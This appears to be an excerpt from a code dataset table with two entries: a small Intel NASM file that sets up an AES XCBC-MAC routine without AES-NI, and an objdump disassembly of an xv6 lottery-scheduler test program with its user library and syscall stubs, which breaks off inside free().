text stringlengths 1 1.05M |
|---|
;;
;; Copyright (c) 2018-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/aesni_emu.inc"
%define FUNC aes_xcbc_mac_128_x4_no_aesni
%define MODE CBC_XCBC_MAC
%define OFFSET 16
%define ARG_IN _aesxcbcarg_in
%define ARG_KEYS _aesxcbcarg_keys
%define ARG_IV _aesxcbcarg_ICV
%include "sse/aes128_cbc_enc_x4_sse.asm"
|
_lotteryTest3: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "types.h"
#include "stat.h"
#include "user.h"
int main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 10 sub $0x10,%esp
settickets(10); // write your own function here
11: 6a 0a push $0xa
13: e8 02 03 00 00 call 31a <settickets>
for(k=0;k<loop;k++)
{
//asm(nop);
}
}
exit();
18: e8 55 02 00 00 call 272 <exit>
1d: 66 90 xchg %ax,%ax
1f: 90 nop
00000020 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
20: 55 push %ebp
21: 89 e5 mov %esp,%ebp
23: 53 push %ebx
24: 8b 45 08 mov 0x8(%ebp),%eax
27: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
2a: 89 c2 mov %eax,%edx
2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
30: 83 c1 01 add $0x1,%ecx
33: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
37: 83 c2 01 add $0x1,%edx
3a: 84 db test %bl,%bl
3c: 88 5a ff mov %bl,-0x1(%edx)
3f: 75 ef jne 30 <strcpy+0x10>
;
return os;
}
41: 5b pop %ebx
42: 5d pop %ebp
43: c3 ret
44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000050 <strcmp>:
int
strcmp(const char *p, const char *q)
{
50: 55 push %ebp
51: 89 e5 mov %esp,%ebp
53: 53 push %ebx
54: 8b 55 08 mov 0x8(%ebp),%edx
57: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
5a: 0f b6 02 movzbl (%edx),%eax
5d: 0f b6 19 movzbl (%ecx),%ebx
60: 84 c0 test %al,%al
62: 75 1c jne 80 <strcmp+0x30>
64: eb 2a jmp 90 <strcmp+0x40>
66: 8d 76 00 lea 0x0(%esi),%esi
69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
70: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
73: 0f b6 02 movzbl (%edx),%eax
p++, q++;
76: 83 c1 01 add $0x1,%ecx
79: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
7c: 84 c0 test %al,%al
7e: 74 10 je 90 <strcmp+0x40>
80: 38 d8 cmp %bl,%al
82: 74 ec je 70 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
84: 29 d8 sub %ebx,%eax
}
86: 5b pop %ebx
87: 5d pop %ebp
88: c3 ret
89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
90: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
92: 29 d8 sub %ebx,%eax
}
94: 5b pop %ebx
95: 5d pop %ebp
96: c3 ret
97: 89 f6 mov %esi,%esi
99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000a0 <strlen>:
uint
strlen(const char *s)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
a6: 80 39 00 cmpb $0x0,(%ecx)
a9: 74 15 je c0 <strlen+0x20>
ab: 31 d2 xor %edx,%edx
ad: 8d 76 00 lea 0x0(%esi),%esi
b0: 83 c2 01 add $0x1,%edx
b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
b7: 89 d0 mov %edx,%eax
b9: 75 f5 jne b0 <strlen+0x10>
;
return n;
}
bb: 5d pop %ebp
bc: c3 ret
bd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
c0: 31 c0 xor %eax,%eax
}
c2: 5d pop %ebp
c3: c3 ret
c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000d0 <memset>:
void*
memset(void *dst, int c, uint n)
{
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 57 push %edi
d4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
d7: 8b 4d 10 mov 0x10(%ebp),%ecx
da: 8b 45 0c mov 0xc(%ebp),%eax
dd: 89 d7 mov %edx,%edi
df: fc cld
e0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
e2: 89 d0 mov %edx,%eax
e4: 5f pop %edi
e5: 5d pop %ebp
e6: c3 ret
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000f0 <strchr>:
char*
strchr(const char *s, char c)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 53 push %ebx
f4: 8b 45 08 mov 0x8(%ebp),%eax
f7: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
fa: 0f b6 10 movzbl (%eax),%edx
fd: 84 d2 test %dl,%dl
ff: 74 1d je 11e <strchr+0x2e>
if(*s == c)
101: 38 d3 cmp %dl,%bl
103: 89 d9 mov %ebx,%ecx
105: 75 0d jne 114 <strchr+0x24>
107: eb 17 jmp 120 <strchr+0x30>
109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
110: 38 ca cmp %cl,%dl
112: 74 0c je 120 <strchr+0x30>
for(; *s; s++)
114: 83 c0 01 add $0x1,%eax
117: 0f b6 10 movzbl (%eax),%edx
11a: 84 d2 test %dl,%dl
11c: 75 f2 jne 110 <strchr+0x20>
return (char*)s;
return 0;
11e: 31 c0 xor %eax,%eax
}
120: 5b pop %ebx
121: 5d pop %ebp
122: c3 ret
123: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <gets>:
char*
gets(char *buf, int max)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 57 push %edi
134: 56 push %esi
135: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
136: 31 f6 xor %esi,%esi
138: 89 f3 mov %esi,%ebx
{
13a: 83 ec 1c sub $0x1c,%esp
13d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
140: eb 2f jmp 171 <gets+0x41>
142: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
148: 8d 45 e7 lea -0x19(%ebp),%eax
14b: 83 ec 04 sub $0x4,%esp
14e: 6a 01 push $0x1
150: 50 push %eax
151: 6a 00 push $0x0
153: e8 32 01 00 00 call 28a <read>
if(cc < 1)
158: 83 c4 10 add $0x10,%esp
15b: 85 c0 test %eax,%eax
15d: 7e 1c jle 17b <gets+0x4b>
break;
buf[i++] = c;
15f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
163: 83 c7 01 add $0x1,%edi
166: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
169: 3c 0a cmp $0xa,%al
16b: 74 23 je 190 <gets+0x60>
16d: 3c 0d cmp $0xd,%al
16f: 74 1f je 190 <gets+0x60>
for(i=0; i+1 < max; ){
171: 83 c3 01 add $0x1,%ebx
174: 3b 5d 0c cmp 0xc(%ebp),%ebx
177: 89 fe mov %edi,%esi
179: 7c cd jl 148 <gets+0x18>
17b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
17d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
180: c6 03 00 movb $0x0,(%ebx)
}
183: 8d 65 f4 lea -0xc(%ebp),%esp
186: 5b pop %ebx
187: 5e pop %esi
188: 5f pop %edi
189: 5d pop %ebp
18a: c3 ret
18b: 90 nop
18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
190: 8b 75 08 mov 0x8(%ebp),%esi
193: 8b 45 08 mov 0x8(%ebp),%eax
196: 01 de add %ebx,%esi
198: 89 f3 mov %esi,%ebx
buf[i] = '\0';
19a: c6 03 00 movb $0x0,(%ebx)
}
19d: 8d 65 f4 lea -0xc(%ebp),%esp
1a0: 5b pop %ebx
1a1: 5e pop %esi
1a2: 5f pop %edi
1a3: 5d pop %ebp
1a4: c3 ret
1a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001b0 <stat>:
int
stat(const char *n, struct stat *st)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 56 push %esi
1b4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1b5: 83 ec 08 sub $0x8,%esp
1b8: 6a 00 push $0x0
1ba: ff 75 08 pushl 0x8(%ebp)
1bd: e8 f0 00 00 00 call 2b2 <open>
if(fd < 0)
1c2: 83 c4 10 add $0x10,%esp
1c5: 85 c0 test %eax,%eax
1c7: 78 27 js 1f0 <stat+0x40>
return -1;
r = fstat(fd, st);
1c9: 83 ec 08 sub $0x8,%esp
1cc: ff 75 0c pushl 0xc(%ebp)
1cf: 89 c3 mov %eax,%ebx
1d1: 50 push %eax
1d2: e8 f3 00 00 00 call 2ca <fstat>
close(fd);
1d7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
1da: 89 c6 mov %eax,%esi
close(fd);
1dc: e8 b9 00 00 00 call 29a <close>
return r;
1e1: 83 c4 10 add $0x10,%esp
}
1e4: 8d 65 f8 lea -0x8(%ebp),%esp
1e7: 89 f0 mov %esi,%eax
1e9: 5b pop %ebx
1ea: 5e pop %esi
1eb: 5d pop %ebp
1ec: c3 ret
1ed: 8d 76 00 lea 0x0(%esi),%esi
return -1;
1f0: be ff ff ff ff mov $0xffffffff,%esi
1f5: eb ed jmp 1e4 <stat+0x34>
1f7: 89 f6 mov %esi,%esi
1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000200 <atoi>:
int
atoi(const char *s)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 53 push %ebx
204: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
207: 0f be 11 movsbl (%ecx),%edx
20a: 8d 42 d0 lea -0x30(%edx),%eax
20d: 3c 09 cmp $0x9,%al
n = 0;
20f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
214: 77 1f ja 235 <atoi+0x35>
216: 8d 76 00 lea 0x0(%esi),%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
220: 8d 04 80 lea (%eax,%eax,4),%eax
223: 83 c1 01 add $0x1,%ecx
226: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
22a: 0f be 11 movsbl (%ecx),%edx
22d: 8d 5a d0 lea -0x30(%edx),%ebx
230: 80 fb 09 cmp $0x9,%bl
233: 76 eb jbe 220 <atoi+0x20>
return n;
}
235: 5b pop %ebx
236: 5d pop %ebp
237: c3 ret
238: 90 nop
239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000240 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 56 push %esi
244: 53 push %ebx
245: 8b 5d 10 mov 0x10(%ebp),%ebx
248: 8b 45 08 mov 0x8(%ebp),%eax
24b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
24e: 85 db test %ebx,%ebx
250: 7e 14 jle 266 <memmove+0x26>
252: 31 d2 xor %edx,%edx
254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
258: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
25c: 88 0c 10 mov %cl,(%eax,%edx,1)
25f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
262: 39 d3 cmp %edx,%ebx
264: 75 f2 jne 258 <memmove+0x18>
return vdst;
}
266: 5b pop %ebx
267: 5e pop %esi
268: 5d pop %ebp
269: c3 ret
0000026a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
26a: b8 01 00 00 00 mov $0x1,%eax
26f: cd 40 int $0x40
271: c3 ret
00000272 <exit>:
SYSCALL(exit)
272: b8 02 00 00 00 mov $0x2,%eax
277: cd 40 int $0x40
279: c3 ret
0000027a <wait>:
SYSCALL(wait)
27a: b8 03 00 00 00 mov $0x3,%eax
27f: cd 40 int $0x40
281: c3 ret
00000282 <pipe>:
SYSCALL(pipe)
282: b8 04 00 00 00 mov $0x4,%eax
287: cd 40 int $0x40
289: c3 ret
0000028a <read>:
SYSCALL(read)
28a: b8 05 00 00 00 mov $0x5,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <write>:
SYSCALL(write)
292: b8 10 00 00 00 mov $0x10,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <close>:
SYSCALL(close)
29a: b8 15 00 00 00 mov $0x15,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <kill>:
SYSCALL(kill)
2a2: b8 06 00 00 00 mov $0x6,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <exec>:
SYSCALL(exec)
2aa: b8 07 00 00 00 mov $0x7,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <open>:
SYSCALL(open)
2b2: b8 0f 00 00 00 mov $0xf,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <mknod>:
SYSCALL(mknod)
2ba: b8 11 00 00 00 mov $0x11,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <unlink>:
SYSCALL(unlink)
2c2: b8 12 00 00 00 mov $0x12,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <fstat>:
SYSCALL(fstat)
2ca: b8 08 00 00 00 mov $0x8,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <link>:
SYSCALL(link)
2d2: b8 13 00 00 00 mov $0x13,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <mkdir>:
SYSCALL(mkdir)
2da: b8 14 00 00 00 mov $0x14,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <chdir>:
SYSCALL(chdir)
2e2: b8 09 00 00 00 mov $0x9,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <dup>:
SYSCALL(dup)
2ea: b8 0a 00 00 00 mov $0xa,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <getpid>:
SYSCALL(getpid)
2f2: b8 0b 00 00 00 mov $0xb,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <sbrk>:
SYSCALL(sbrk)
2fa: b8 0c 00 00 00 mov $0xc,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <sleep>:
SYSCALL(sleep)
302: b8 0d 00 00 00 mov $0xd,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <uptime>:
SYSCALL(uptime)
30a: b8 0e 00 00 00 mov $0xe,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <info>:
SYSCALL(info)
312: b8 16 00 00 00 mov $0x16,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <settickets>:
SYSCALL(settickets)
31a: b8 17 00 00 00 mov $0x17,%eax
31f: cd 40 int $0x40
321: c3 ret
322: 66 90 xchg %ax,%ax
324: 66 90 xchg %ax,%ax
326: 66 90 xchg %ax,%ax
328: 66 90 xchg %ax,%ax
32a: 66 90 xchg %ax,%ax
32c: 66 90 xchg %ax,%ax
32e: 66 90 xchg %ax,%ax
00000330 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 57 push %edi
334: 56 push %esi
335: 53 push %ebx
336: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
339: 85 d2 test %edx,%edx
{
33b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
33e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
340: 79 76 jns 3b8 <printint+0x88>
342: f6 45 08 01 testb $0x1,0x8(%ebp)
346: 74 70 je 3b8 <printint+0x88>
x = -xx;
348: f7 d8 neg %eax
neg = 1;
34a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
351: 31 f6 xor %esi,%esi
353: 8d 5d d7 lea -0x29(%ebp),%ebx
356: eb 0a jmp 362 <printint+0x32>
358: 90 nop
359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
360: 89 fe mov %edi,%esi
362: 31 d2 xor %edx,%edx
364: 8d 7e 01 lea 0x1(%esi),%edi
367: f7 f1 div %ecx
369: 0f b6 92 30 07 00 00 movzbl 0x730(%edx),%edx
}while((x /= base) != 0);
370: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
372: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
375: 75 e9 jne 360 <printint+0x30>
if(neg)
377: 8b 45 c4 mov -0x3c(%ebp),%eax
37a: 85 c0 test %eax,%eax
37c: 74 08 je 386 <printint+0x56>
buf[i++] = '-';
37e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
383: 8d 7e 02 lea 0x2(%esi),%edi
386: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
38a: 8b 7d c0 mov -0x40(%ebp),%edi
38d: 8d 76 00 lea 0x0(%esi),%esi
390: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
393: 83 ec 04 sub $0x4,%esp
396: 83 ee 01 sub $0x1,%esi
399: 6a 01 push $0x1
39b: 53 push %ebx
39c: 57 push %edi
39d: 88 45 d7 mov %al,-0x29(%ebp)
3a0: e8 ed fe ff ff call 292 <write>
while(--i >= 0)
3a5: 83 c4 10 add $0x10,%esp
3a8: 39 de cmp %ebx,%esi
3aa: 75 e4 jne 390 <printint+0x60>
putc(fd, buf[i]);
}
3ac: 8d 65 f4 lea -0xc(%ebp),%esp
3af: 5b pop %ebx
3b0: 5e pop %esi
3b1: 5f pop %edi
3b2: 5d pop %ebp
3b3: c3 ret
3b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3b8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3bf: eb 90 jmp 351 <printint+0x21>
3c1: eb 0d jmp 3d0 <printf>
3c3: 90 nop
3c4: 90 nop
3c5: 90 nop
3c6: 90 nop
3c7: 90 nop
3c8: 90 nop
3c9: 90 nop
3ca: 90 nop
3cb: 90 nop
3cc: 90 nop
3cd: 90 nop
3ce: 90 nop
3cf: 90 nop
000003d0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3d0: 55 push %ebp
3d1: 89 e5 mov %esp,%ebp
3d3: 57 push %edi
3d4: 56 push %esi
3d5: 53 push %ebx
3d6: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3d9: 8b 75 0c mov 0xc(%ebp),%esi
3dc: 0f b6 1e movzbl (%esi),%ebx
3df: 84 db test %bl,%bl
3e1: 0f 84 b3 00 00 00 je 49a <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
3e7: 8d 45 10 lea 0x10(%ebp),%eax
3ea: 83 c6 01 add $0x1,%esi
state = 0;
3ed: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
3ef: 89 45 d4 mov %eax,-0x2c(%ebp)
3f2: eb 2f jmp 423 <printf+0x53>
3f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
3f8: 83 f8 25 cmp $0x25,%eax
3fb: 0f 84 a7 00 00 00 je 4a8 <printf+0xd8>
write(fd, &c, 1);
401: 8d 45 e2 lea -0x1e(%ebp),%eax
404: 83 ec 04 sub $0x4,%esp
407: 88 5d e2 mov %bl,-0x1e(%ebp)
40a: 6a 01 push $0x1
40c: 50 push %eax
40d: ff 75 08 pushl 0x8(%ebp)
410: e8 7d fe ff ff call 292 <write>
415: 83 c4 10 add $0x10,%esp
418: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
41b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
41f: 84 db test %bl,%bl
421: 74 77 je 49a <printf+0xca>
if(state == 0){
423: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
425: 0f be cb movsbl %bl,%ecx
428: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
42b: 74 cb je 3f8 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
42d: 83 ff 25 cmp $0x25,%edi
430: 75 e6 jne 418 <printf+0x48>
if(c == 'd'){
432: 83 f8 64 cmp $0x64,%eax
435: 0f 84 05 01 00 00 je 540 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
43b: 81 e1 f7 00 00 00 and $0xf7,%ecx
441: 83 f9 70 cmp $0x70,%ecx
444: 74 72 je 4b8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
446: 83 f8 73 cmp $0x73,%eax
449: 0f 84 99 00 00 00 je 4e8 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
44f: 83 f8 63 cmp $0x63,%eax
452: 0f 84 08 01 00 00 je 560 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
458: 83 f8 25 cmp $0x25,%eax
45b: 0f 84 ef 00 00 00 je 550 <printf+0x180>
write(fd, &c, 1);
461: 8d 45 e7 lea -0x19(%ebp),%eax
464: 83 ec 04 sub $0x4,%esp
467: c6 45 e7 25 movb $0x25,-0x19(%ebp)
46b: 6a 01 push $0x1
46d: 50 push %eax
46e: ff 75 08 pushl 0x8(%ebp)
471: e8 1c fe ff ff call 292 <write>
476: 83 c4 0c add $0xc,%esp
479: 8d 45 e6 lea -0x1a(%ebp),%eax
47c: 88 5d e6 mov %bl,-0x1a(%ebp)
47f: 6a 01 push $0x1
481: 50 push %eax
482: ff 75 08 pushl 0x8(%ebp)
485: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
488: 31 ff xor %edi,%edi
write(fd, &c, 1);
48a: e8 03 fe ff ff call 292 <write>
for(i = 0; fmt[i]; i++){
48f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
493: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
496: 84 db test %bl,%bl
498: 75 89 jne 423 <printf+0x53>
}
}
}
49a: 8d 65 f4 lea -0xc(%ebp),%esp
49d: 5b pop %ebx
49e: 5e pop %esi
49f: 5f pop %edi
4a0: 5d pop %ebp
4a1: c3 ret
4a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4a8: bf 25 00 00 00 mov $0x25,%edi
4ad: e9 66 ff ff ff jmp 418 <printf+0x48>
4b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4b8: 83 ec 0c sub $0xc,%esp
4bb: b9 10 00 00 00 mov $0x10,%ecx
4c0: 6a 00 push $0x0
4c2: 8b 7d d4 mov -0x2c(%ebp),%edi
4c5: 8b 45 08 mov 0x8(%ebp),%eax
4c8: 8b 17 mov (%edi),%edx
4ca: e8 61 fe ff ff call 330 <printint>
ap++;
4cf: 89 f8 mov %edi,%eax
4d1: 83 c4 10 add $0x10,%esp
state = 0;
4d4: 31 ff xor %edi,%edi
ap++;
4d6: 83 c0 04 add $0x4,%eax
4d9: 89 45 d4 mov %eax,-0x2c(%ebp)
4dc: e9 37 ff ff ff jmp 418 <printf+0x48>
4e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
4e8: 8b 45 d4 mov -0x2c(%ebp),%eax
4eb: 8b 08 mov (%eax),%ecx
ap++;
4ed: 83 c0 04 add $0x4,%eax
4f0: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
4f3: 85 c9 test %ecx,%ecx
4f5: 0f 84 8e 00 00 00 je 589 <printf+0x1b9>
while(*s != 0){
4fb: 0f b6 01 movzbl (%ecx),%eax
state = 0;
4fe: 31 ff xor %edi,%edi
s = (char*)*ap;
500: 89 cb mov %ecx,%ebx
while(*s != 0){
502: 84 c0 test %al,%al
504: 0f 84 0e ff ff ff je 418 <printf+0x48>
50a: 89 75 d0 mov %esi,-0x30(%ebp)
50d: 89 de mov %ebx,%esi
50f: 8b 5d 08 mov 0x8(%ebp),%ebx
512: 8d 7d e3 lea -0x1d(%ebp),%edi
515: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
518: 83 ec 04 sub $0x4,%esp
s++;
51b: 83 c6 01 add $0x1,%esi
51e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
521: 6a 01 push $0x1
523: 57 push %edi
524: 53 push %ebx
525: e8 68 fd ff ff call 292 <write>
while(*s != 0){
52a: 0f b6 06 movzbl (%esi),%eax
52d: 83 c4 10 add $0x10,%esp
530: 84 c0 test %al,%al
532: 75 e4 jne 518 <printf+0x148>
534: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
537: 31 ff xor %edi,%edi
539: e9 da fe ff ff jmp 418 <printf+0x48>
53e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
540: 83 ec 0c sub $0xc,%esp
543: b9 0a 00 00 00 mov $0xa,%ecx
548: 6a 01 push $0x1
54a: e9 73 ff ff ff jmp 4c2 <printf+0xf2>
54f: 90 nop
write(fd, &c, 1);
550: 83 ec 04 sub $0x4,%esp
553: 88 5d e5 mov %bl,-0x1b(%ebp)
556: 8d 45 e5 lea -0x1b(%ebp),%eax
559: 6a 01 push $0x1
55b: e9 21 ff ff ff jmp 481 <printf+0xb1>
putc(fd, *ap);
560: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
563: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
566: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
568: 6a 01 push $0x1
ap++;
56a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
56d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
570: 8d 45 e4 lea -0x1c(%ebp),%eax
573: 50 push %eax
574: ff 75 08 pushl 0x8(%ebp)
577: e8 16 fd ff ff call 292 <write>
ap++;
57c: 89 7d d4 mov %edi,-0x2c(%ebp)
57f: 83 c4 10 add $0x10,%esp
state = 0;
582: 31 ff xor %edi,%edi
584: e9 8f fe ff ff jmp 418 <printf+0x48>
s = "(null)";
589: bb 28 07 00 00 mov $0x728,%ebx
while(*s != 0){
58e: b8 28 00 00 00 mov $0x28,%eax
593: e9 72 ff ff ff jmp 50a <printf+0x13a>
598: 66 90 xchg %ax,%ax
59a: 66 90 xchg %ax,%ax
59c: 66 90 xchg %ax,%ax
59e: 66 90 xchg %ax,%ax
000005a0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5a0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
